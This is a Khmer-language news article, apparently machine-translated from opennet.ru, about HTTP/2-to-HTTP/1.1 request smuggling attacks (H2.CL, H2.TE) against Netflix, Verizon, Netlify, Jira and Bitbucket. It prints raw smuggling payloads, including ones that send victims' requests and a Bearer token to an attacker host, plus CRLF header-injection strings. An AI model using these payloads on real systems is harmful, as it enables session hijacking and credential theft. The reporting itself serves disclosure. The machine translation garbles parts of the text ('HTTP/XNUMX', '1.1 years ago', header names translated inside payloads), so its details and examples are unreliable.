ការវាយប្រហារថ្មីមួយលើប្រព័ន្ធខាងមុខ-end-backend ដែលអនុញ្ញាតឱ្យអ្នកបញ្ចូលទៅក្នុងសំណើ

ប្រព័ន្ធបណ្តាញដែលផ្នែកខាងមុខទទួលយកការតភ្ជាប់តាមរយៈ HTTP/2 ហើយបញ្ជូនវាទៅផ្នែកខាងក្រោយតាមរយៈ HTTP/1.1 ត្រូវបានប៉ះពាល់ទៅនឹងវ៉ារ្យ៉ង់ថ្មីនៃការវាយប្រហារ “HTTP Request Smuggling” ដែលអនុញ្ញាតដោយការផ្ញើសំណើអតិថិជនដែលបានរចនាជាពិសេសទៅកាន់ បញ្ចូលទៅក្នុងខ្លឹមសារនៃសំណើពីអ្នកប្រើប្រាស់ផ្សេងទៀតដែលបានដំណើរការក្នុងលំហូរដូចគ្នារវាងផ្នែកខាងមុខ និងផ្នែកខាងក្រោយ។ ការវាយប្រហារអាចត្រូវបានប្រើដើម្បីបញ្ចូលកូដ JavaScript ព្យាបាទទៅក្នុងវគ្គជាមួយគេហទំព័រស្របច្បាប់ រំលងប្រព័ន្ធរឹតបន្តឹងការចូលប្រើប្រាស់ និងស្ទាក់ចាប់ប៉ារ៉ាម៉ែត្រផ្ទៀងផ្ទាត់។

បញ្ហាប៉ះពាល់ដល់ប្រូកស៊ីគេហទំព័រ តុល្យភាពផ្ទុក ឧបករណ៍បង្កើនល្បឿនគេហទំព័រ ប្រព័ន្ធចែកចាយខ្លឹមសារ និងការកំណត់រចនាសម្ព័ន្ធផ្សេងទៀត ដែលសំណើត្រូវបានប្តូរទិសក្នុងលក្ខណៈពីមុខទៅខាងក្រោយ។ អ្នកនិពន្ធនៃការសិក្សាបានបង្ហាញពីលទ្ធភាពនៃការវាយប្រហារលើប្រព័ន្ធរបស់ Netflix, Verizon, Bitbucket, Netlify CDN និង Atlassian ហើយបានទទួលរង្វាន់ 56 ពាន់ដុល្លារក្នុងកម្មវិធីរង្វាន់សម្រាប់កំណត់អត្តសញ្ញាណភាពងាយរងគ្រោះ។ បញ្ហានេះក៏ត្រូវបានបញ្ជាក់នៅក្នុងផលិតផល F5 Networks ផងដែរ។ បញ្ហានេះប៉ះពាល់ផ្នែកខ្លះទៅលើ mod_proxy នៅក្នុងម៉ាស៊ីនមេ Apache http (CVE-2021-33193) ការជួសជុលត្រូវបានរំពឹងទុកនៅក្នុងកំណែ 2.4.49 (អ្នកអភិវឌ្ឍន៍ត្រូវបានជូនដំណឹងអំពីបញ្ហានៅដើមខែឧសភា ហើយត្រូវបានផ្តល់ពេល 3 ខែដើម្បីជួសជុលវា)។ នៅក្នុង nginx សមត្ថភាពក្នុងការបញ្ជាក់បឋមកថា "ប្រវែងមាតិកា" និង "ការអ៊ិនកូដផ្ទេរ" ក្នុងពេលដំណាលគ្នាត្រូវបានរារាំងនៅក្នុងការចេញផ្សាយចុងក្រោយ (1.21.1) ។ ឧបករណ៍វាយប្រហារត្រូវបានរួមបញ្ចូលរួចហើយនៅក្នុងប្រអប់ឧបករណ៍ Burp ហើយមាននៅក្នុងទម្រង់នៃផ្នែកបន្ថែម Turbo Intruder ។

គោលការណ៍នៃប្រតិបត្តិការនៃវិធីសាស្រ្តថ្មីនៃការស្នើសុំ wedging ចូលទៅក្នុងចរាចរណ៍គឺស្រដៀងគ្នាទៅនឹងភាពងាយរងគ្រោះដែលបានកំណត់ដោយអ្នកស្រាវជ្រាវដូចគ្នាកាលពី 1.1 ឆ្នាំមុន ប៉ុន្តែត្រូវបានកំណត់ចំពោះផ្នែកខាងមុខដែលទទួលយកសំណើតាមរយៈ HTTP/XNUMX ។ អនុញ្ញាតឱ្យយើងចាំថានៅក្នុងគ្រោងការណ៍ frontend-backend សំណើរបស់អតិថិជនត្រូវបានទទួលដោយថ្នាំងបន្ថែម - frontend ដែលបង្កើតការតភ្ជាប់ TCP ដែលមានអាយុកាលយូរជាមួយ backend ដែលដំណើរការដោយផ្ទាល់នូវសំណើ។ តាមរយៈការតភ្ជាប់ទូទៅនេះ សំណើពីអ្នកប្រើប្រាស់ផ្សេងគ្នាជាធម្មតាត្រូវបានបញ្ជូន ដែលតាមខ្សែសង្វាក់មួយបន្ទាប់ពីមួយផ្សេងទៀត បំបែកដោយមធ្យោបាយនៃពិធីការ HTTP ។

ការវាយប្រហារ "HTTP Request Smuggling" បុរាណគឺផ្អែកលើការពិតដែលថា Frontends និង Backends បកស្រាយការប្រើប្រាស់បឋមកថា HTTP "Content-Length" (កំណត់ទំហំសរុបនៃទិន្នន័យនៅក្នុងសំណើ) និង "Transfer-Encoding: chunked" (អនុញ្ញាត ទិន្នន័យដែលត្រូវផ្ទេរជាផ្នែក ៗ ) ខុសគ្នា .. ឧទាហរណ៍ ប្រសិនបើ Frontend គាំទ្រតែ "Content-Length" ប៉ុន្តែមិនអើពើ "Transfer-Encoding: chunked" នោះអ្នកវាយប្រហារអាចផ្ញើសំណើដែលមានទាំងផ្នែកក្បាល "Content-Length" និង "Transfer-Encoding: chunked" ប៉ុន្តែ ទំហំគឺ "ប្រវែងមាតិកា" មិនត្រូវគ្នានឹងទំហំនៃខ្សែសង្វាក់ដែលបានដាក់។ ក្នុងករណីនេះ ផ្នែកខាងមុខនឹងដំណើរការ និងបញ្ជូនបន្តសំណើដោយអនុលោមតាម "ប្រវែងខ្លឹមសារ" ហើយផ្នែកខាងក្រោយនឹងរង់ចាំការបញ្ចប់ប្លុកដោយផ្អែកលើ "ការបំប្លែងការអ៊ិនកូដ៖ កំណាត់" និងផ្នែកដែលនៅសល់នៃសំណើរបស់អ្នកវាយប្រហារ នឹងនៅដើមដំបូងនៃសំណើរបស់នរណាម្នាក់ដែលបានបញ្ជូនបន្ទាប់។

មិនដូចពិធីការអត្ថបទ HTTP/1.1 ដែលត្រូវបានញែកនៅកម្រិតបន្ទាត់ HTTP/2 គឺជាពិធីការប្រព័ន្ធគោលពីរ និងរៀបចំប្លុកទិន្នន័យនៃទំហំដែលបានកំណត់ជាមុន។ ទោះយ៉ាងណាក៏ដោយ HTTP/2 ប្រើ pseudo-headers ដែលត្រូវនឹងបឋមកថា HTTP ធម្មតា។ ក្នុងករណីមានអន្តរកម្មជាមួយផ្នែកខាងក្រោយតាមរយៈពិធីការ HTTP/1.1 ផ្នែកខាងមុខបកប្រែបឋមកថា pseudo ទាំងនេះទៅជាបឋមកថា HTTP ស្រដៀងគ្នា HTTP/1.1 ។ បញ្ហាគឺថា backend ធ្វើការសម្រេចចិត្តអំពីការញែកស្ទ្រីមដោយផ្អែកលើបឋមកថា HTTP ដែលកំណត់ដោយ frontend ដោយមិនមានព័ត៌មានអំពីប៉ារ៉ាម៉ែត្រនៃសំណើដើម។

ជាពិសេស តម្លៃ "ប្រវែងមាតិកា" និង "ការបំប្លែងការអ៊ិនកូដ" អាចត្រូវបានបញ្ជូនក្នុងទម្រង់នៃ pseudo-headers ទោះបីជាវាមិនត្រូវបានប្រើនៅក្នុង HTTP/2 ក៏ដោយ ចាប់តាំងពីទំហំទិន្នន័យទាំងអស់ត្រូវបានកំណត់។ នៅក្នុងវាលដាច់ដោយឡែកមួយ។ ទោះយ៉ាងណាក៏ដោយ ក្នុងអំឡុងពេលដំណើរការបំប្លែងសំណើ HTTP/2 ទៅជា HTTP/1.1 បឋមកថាទាំងនេះត្រូវបានអនុវត្ត ហើយអាចច្រឡំផ្នែកខាងក្រោយ។ មានវ៉ារ្យ៉ង់នៃការវាយប្រហារសំខាន់ពីរ៖ H2.TE និង H2.CL ដែលក្នុងនោះផ្នែកខាងក្រោយត្រូវបានបំភាន់ដោយការផ្ទេរការអ៊ិនកូដមិនត្រឹមត្រូវ ឬតម្លៃប្រវែងខ្លឹមសារ ដែលមិនទាក់ទងទៅនឹងទំហំពិតប្រាកដនៃផ្នែកសំណើដែលបានទទួលដោយផ្នែកខាងមុខតាមរយៈ ពិធីការ HTTP/2 ។

ឧទាហរណ៍នៃការវាយប្រហារ H2.CL គឺដើម្បីបញ្ជាក់ទំហំមិនត្រឹមត្រូវនៅក្នុង pseudo-header ប្រវែងមាតិកា នៅពេលផ្ញើសំណើ HTTP/2 ទៅ Netflix ។ សំណើនេះនាំទៅដល់ការបន្ថែមផ្នែក Content-Length បឋមកថា HTTP ស្រដៀងគ្នា នៅពេលចូលប្រើ backend តាមរយៈ HTTP/1.1 ប៉ុន្តែដោយសារទំហំក្នុង Content-Length ត្រូវបានបញ្ជាក់តិចជាងទំហំពិតប្រាកដនោះ ផ្នែកនៃទិន្នន័យនៅក្នុងកន្ទុយត្រូវបានដំណើរការជា ការចាប់ផ្តើមនៃសំណើបន្ទាប់។

ឧទាហរណ៍ ស្នើសុំ HTTP/2 : វិធីសាស្រ្ត POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

នឹងនាំឱ្យសំណើត្រូវបានផ្ញើទៅកាន់ផ្នែកខាងក្រោយ៖ POST /n HTTP/1.1 ម៉ាស៊ីន៖ www.netflix.com ប្រវែងខ្លឹមសារ៖ 4 abcdGET /n HTTP/1.1 ម៉ាស៊ីន៖ 02.rs?x.netflix.com Foo: bar

ដោយសារ Content-Length មានតម្លៃ 4 នោះ backend នឹងទទួលយកតែ "abcd" ជាតួនៃសំណើ ហើយនៅសល់នៃ "GET /n HTTP/1.1..." នឹងត្រូវបានដំណើរការជាការចាប់ផ្តើមនៃសំណើជាបន្តបន្ទាប់។ ពាក់ព័ន្ធជាមួយអ្នកប្រើប្រាស់ផ្សេងទៀត។ ដូច្នោះហើយ ស្ទ្រីមនឹងក្លាយទៅជាមិនសមកាលកម្ម ហើយដើម្បីឆ្លើយតបទៅនឹងសំណើបន្ទាប់ លទ្ធផលនៃការដំណើរការសំណើអត់ចេះសោះនឹងត្រូវបានចេញ។ ក្នុងករណីក្រុមហ៊ុន Netflix Inc ការបញ្ជាក់ម្ចាស់ផ្ទះភាគីទីបីនៅក្នុង "ម៉ាស៊ីន" បឋមកថានៅក្នុងសំណើអត់ចេះសោះបានធ្វើឱ្យអតិថិជនត្រឡប់ការឆ្លើយតប "ទីតាំង: https://02.rs?x.netflix.com/n" និង អនុញ្ញាតឱ្យមាតិកាបំពានត្រូវបានផ្ញើទៅអតិថិជន រួមទាំងដំណើរការកូដ JavaScript របស់អ្នកនៅក្នុងបរិបទនៃគេហទំព័រ Netflix ។

ជម្រើសវាយប្រហារទីពីរ (H2.TE) ពាក់ព័ន្ធនឹងការជំនួសបឋមកថា "ការអ៊ិនកូដផ្ទេរប្រាក់៖ កំណាត់" ។ ការប្រើប្រាស់បឋមកថា pseudo-ផ្ទេរការអ៊ិនកូដនៅក្នុង HTTP/2 ត្រូវបានហាមឃាត់ដោយការបញ្ជាក់ ហើយសំណើជាមួយវាត្រូវបានចេញវេជ្ជបញ្ជាឱ្យចាត់ទុកថាមិនត្រឹមត្រូវ។ ទោះបីជាបែបនេះក៏ដោយ ការអនុវត្តផ្នែកខាងមុខមួយចំនួនមិនគិតពីតម្រូវការនេះ ហើយអនុញ្ញាតឱ្យប្រើបឋមកថា pseudo-ផ្ទេរការអ៊ិនកូដនៅក្នុង HTTP/2 ដែលត្រូវបានបំប្លែងទៅជាបឋមកថា HTTP ស្រដៀងគ្នា។ ប្រសិនបើមានបឋមកថា "ការបំប្លែង-ការអ៊ិនកូដ" កម្មវិធីខាងក្រោយអាចយកវាជាអាទិភាពខ្ពស់ជាងនេះ ហើយញែកបំណែកទិន្នន័យដោយផ្នែកនៅក្នុងរបៀប "កំណាត់" ដោយប្រើប្លុកដែលមានទំហំខុសៗគ្នាក្នុងទម្រង់ “{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", ទោះបីជាមានការបែងចែកដំបូងតាមទំហំទាំងមូលក៏ដោយ។

វត្តមាននៃគម្លាតបែបនេះត្រូវបានបង្ហាញដោយឧទាហរណ៍នៃក្រុមហ៊ុន Verizon ។ បញ្ហាទាក់ទងនឹងវិបផតថលផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវ និងប្រព័ន្ធគ្រប់គ្រងខ្លឹមសារ ដែលត្រូវបានប្រើនៅលើគេហទំព័រដូចជា Huffington Post និង Engadget ផងដែរ។ ឧទាហរណ៍ សំណើរបស់អតិថិជនតាមរយៈ HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ការផ្ទេរ-អ៊ិនកូដការផ្ទេរជាកំណាត់ 0 GET /oops HTTP/1.1 ម៉ាស៊ីន៖ psres.net ប្រវែងខ្លឹមសារ៖ 10 x=

បានលទ្ធផលក្នុងការផ្ញើសំណើ HTTP/1.1 ទៅផ្នែកខាងក្រោយ៖ POST /identity/XUI HTTP/1.1 ម៉ាស៊ីន៖ id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. មាតិកាសុទ្ធ-ប្រវែង៖ ១០x=

ផ្ទុយទៅវិញ ផ្នែកខាងក្រោយបានមិនអើពើនឹងបឋមកថា "ប្រវែងខ្លឹមសារ" ហើយបានធ្វើការបំបែកនៅក្នុងស្ទ្រីមដោយផ្អែកលើ "ការបំប្លែងការអ៊ិនកូដ៖ កំណាត់"។ នៅក្នុងការអនុវត្ត ការវាយប្រហារបានធ្វើឱ្យវាអាចបញ្ជូនសំណើរបស់អ្នកប្រើប្រាស់ទៅកាន់គេហទំព័ររបស់ពួកគេ រួមទាំងការស្ទាក់ចាប់សំណើដែលទាក់ទងនឹងការផ្ទៀងផ្ទាត់ OAuth ប៉ារ៉ាម៉ែត្រដែលត្រូវបានបង្ហាញនៅក្នុងបឋមកថា Referer ក៏ដូចជាការក្លែងធ្វើវគ្គផ្ទៀងផ្ទាត់ និងធ្វើឱ្យប្រព័ន្ធរបស់អ្នកប្រើប្រាស់ផ្ញើលិខិតសម្គាល់។ ទៅម្ចាស់ផ្ទះរបស់អ្នកវាយប្រហារ។ GET /b2blanding/show/oops HTTP/1.1 ម៉ាស៊ីន៖ psres.net យោង៖ https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 ម៉ាស៊ីន៖ psres.net ការអនុញ្ញាត៖ Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6I

ដើម្បីវាយប្រហារការអនុវត្ត HTTP/2 ដែលមិនអនុញ្ញាតឱ្យមានការបញ្ជាក់បឋមកថា pseudo-ការផ្ទេរការអ៊ិនកូដ វិធីសាស្ត្រមួយផ្សេងទៀតត្រូវបានស្នើឡើងដែលពាក់ព័ន្ធនឹងការជំនួសបឋមកថា "ផ្ទេរការអ៊ិនកូដ" ដោយភ្ជាប់វាទៅបឋមកថា pseudo-ផ្សេងទៀតដែលបំបែកដោយតួអក្សរបន្ទាត់ថ្មី ( នៅពេលបំប្លែងទៅជា HTTP/1.1 ក្នុងករណីនេះ បង្កើតបឋមកថា HTTP ពីរដាច់ដោយឡែក)។

ឧទាហរណ៍ Atlassian Jira និង Netlify CDN (ប្រើដើម្បីបម្រើទំព័រចាប់ផ្តើម Mozilla នៅក្នុង Firefox) ត្រូវបានរងផលប៉ះពាល់ដោយបញ្ហានេះ។ ជាពិសេស សំណើ HTTP/2 ៖ វិធីសាស្រ្ត POST : path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n ប្រវែងខ្លឹមសារ៖ 5\r\n \r\nx=

ជាលទ្ធផល HTTP/1.1 POST / HTTP/1.1 សំណើត្រូវបានផ្ញើទៅកាន់ backend\r\n ម៉ាស៊ីន៖ start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length ៖ 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ម៉ាស៊ីន៖ evil-netlify-domain\r\n ប្រវែងខ្លឹមសារ៖ 5\r\n \r \nx=

ជម្រើសមួយផ្សេងទៀតសម្រាប់ការជំនួសបឋមកថា "ផ្ទេរការអ៊ិនកូដ" គឺត្រូវភ្ជាប់វាទៅនឹងឈ្មោះនៃបឋមកថា pseudo-header ផ្សេងទៀត ឬទៅបន្ទាត់ដែលមានវិធីសាស្ត្រស្នើសុំ។ ឧទាហរណ៍ នៅពេលចូលប្រើ Atlassian Jira ឈ្មោះ pseudo-header "foo: bar\r\ntransfer-encoding" ជាមួយនឹងតម្លៃ "chunked" បណ្តាលឱ្យ headers HTTP "foo: bar" និង "transfer-encoding: chunked" ត្រូវបានបន្ថែម និងការបញ្ជាក់តម្លៃ pseudo-header ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ត្រូវបានបកប្រែទៅជា "GET / HTTP/1.1\r\ntransfer-encoding: chunked" ។

អ្នកស្រាវជ្រាវដែលបានកំណត់បញ្ហាក៏បានស្នើរសុំបច្ចេកទេសផ្លូវរូងក្រោមដីដើម្បីវាយប្រហារផ្នែកខាងមុខ ដែលអាសយដ្ឋាន IP នីមួយៗបង្កើតការតភ្ជាប់ដាច់ដោយឡែកទៅកាន់ផ្នែកខាងក្រោយ ហើយចរាចរពីអ្នកប្រើប្រាស់ផ្សេងគ្នាមិនត្រូវបានលាយបញ្ចូលគ្នាទេ។ បច្ចេកទេសដែលបានស្នើឡើងមិនអនុញ្ញាតឱ្យមានការជ្រៀតជ្រែកជាមួយសំណើពីអ្នកប្រើប្រាស់ផ្សេងទៀតទេ ប៉ុន្តែធ្វើឱ្យវាអាចបំពុលឃ្លាំងសម្ងាត់ដែលបានចែករំលែកដែលប៉ះពាល់ដល់ដំណើរការនៃសំណើផ្សេងទៀត និងអនុញ្ញាតឱ្យជំនួសបឋមកថា HTTP ខាងក្នុងដែលប្រើដើម្បីផ្ទេរព័ត៌មានសេវាកម្មពីផ្នែកខាងមុខទៅផ្នែកខាងក្រោយ ( ឧទាហរណ៍ នៅពេលផ្ទៀងផ្ទាត់នៅផ្នែកខាងមុខក្នុងបឋមកថាបែបនេះអាចបញ្ជូនព័ត៌មានអំពីអ្នកប្រើប្រាស់បច្ចុប្បន្នទៅផ្នែកខាងក្រោយ)។ ជាឧទាហរណ៍នៃការអនុវត្តវិធីសាស្រ្តក្នុងការអនុវត្ត ដោយប្រើការពុលឃ្លាំងសម្ងាត់ វាអាចទៅរួចដើម្បីទទួលបានការគ្រប់គ្រងលើទំព័រនៅក្នុងសេវាកម្ម Bitbucket ។

ប្រភព: opennet.ru